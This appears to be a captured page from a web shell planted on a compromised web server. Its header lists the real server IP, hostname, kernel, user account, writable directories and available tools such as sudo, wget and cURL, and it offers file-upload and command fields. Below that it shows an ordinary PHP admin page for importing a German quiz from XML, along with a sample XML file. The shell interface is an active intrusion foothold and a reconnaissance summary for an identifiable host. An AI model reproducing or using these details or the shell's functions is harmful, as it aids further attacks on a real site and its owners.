403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/arni-solutions.de/web/test/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/arni-solutions.de/web/test/admin/import.php
<?php
declare(strict_types=1);
require __DIR__ . '/../includes/bootstrap.php';

require_admin();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['xml_file']) || !is_array($_FILES['xml_file'])) {
        set_flash('danger', 'Keine Datei hochgeladen.');
        redirect_to('admin/import.php');
    }

    $file = $_FILES['xml_file'];

    if (($file['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
        set_flash('danger', 'Datei-Upload fehlgeschlagen.');
        redirect_to('admin/import.php');
    }

    $tmpName = (string)($file['tmp_name'] ?? '');
    $originalName = (string)($file['name'] ?? '');

    if (strtolower(pathinfo($originalName, PATHINFO_EXTENSION)) !== 'xml') {
        set_flash('danger', 'Bitte eine XML-Datei hochladen.');
        redirect_to('admin/import.php');
    }

    $result = import_test_from_xml($tmpName);
    set_flash($result['success'] ? 'success' : 'danger', (string)$result['message']);
    redirect_to('admin/import.php');
}

render_header('XML Import');
?>
<div class="row justify-content-center">
    <div class="col-lg-8">
        <div class="card card-soft">
            <div class="card-body p-4">
                <h1 class="h3 mb-3">Test per XML importieren</h1>
                <p class="text-muted">Lade eine XML-Datei mit Meta-Daten, Ergebnistypen und Fragen hoch.</p>

                <form method="post" action="import.php" enctype="multipart/form-data">
                    <div class="mb-3">
                        <label class="form-label fw-semibold" for="xml_file">XML-Datei</label>
                        <input type="file" name="xml_file" id="xml_file" class="form-control" accept=".xml,text/xml,application/xml" required>
                    </div>
                    <button type="submit" class="btn btn-primary">Import starten</button>
                </form>

                <hr class="my-4">

                <h2 class="h5">Beispielstruktur</h2>
<pre class="bg-light border rounded p-3 small mb-0">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;test&gt;
  &lt;meta&gt;
    &lt;title&gt;Welcher Typ bist du in der Clique?&lt;/title&gt;
    &lt;description&gt;Ein lustiger Freundetest.&lt;/description&gt;
    &lt;slug&gt;clique-typ&lt;/slug&gt;
    &lt;active&gt;1&lt;/active&gt;
  &lt;/meta&gt;
  &lt;results&gt;
    &lt;result key="eskalierer"&gt;
      &lt;title&gt;Der Eskalierer&lt;/title&gt;
      &lt;description&gt;Du bringst maximal Energie rein.&lt;/description&gt;
      &lt;badge_class&gt;danger&lt;/badge_class&gt;
      &lt;emoji&gt;đŸ”„&lt;/emoji&gt;
    &lt;/result&gt;
    &lt;result key="planer"&gt;
      &lt;title&gt;Der Planer&lt;/title&gt;
      &lt;description&gt;Ohne dich lÀuft nichts geordnet.&lt;/description&gt;
      &lt;badge_class&gt;primary&lt;/badge_class&gt;
      &lt;emoji&gt;🧠&lt;/emoji&gt;
    &lt;/result&gt;
  &lt;/results&gt;
  &lt;questions&gt;
    &lt;question type="single"&gt;
      &lt;text&gt;Was machst du zuerst auf einer Party?&lt;/text&gt;
      &lt;options&gt;
        &lt;option result_key="eskalierer" weight="1"&gt;GetrÀnke und Action&lt;/option&gt;
        &lt;option result_key="planer" weight="1"&gt;Erst Überblick verschaffen&lt;/option&gt;
      &lt;/options&gt;
    &lt;/question&gt;
    &lt;question type="multiple"&gt;
      &lt;text&gt;Was trifft auf dich zu?&lt;/text&gt;
      &lt;options&gt;
        &lt;option result_key="eskalierer" weight="1"&gt;laut&lt;/option&gt;
        &lt;option result_key="planer" weight="1"&gt;organisiert&lt;/option&gt;
      &lt;/options&gt;
    &lt;/question&gt;
  &lt;/questions&gt;
&lt;/test&gt;</pre>
            </div>
        </div>
    </div>
</div>
<?php render_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit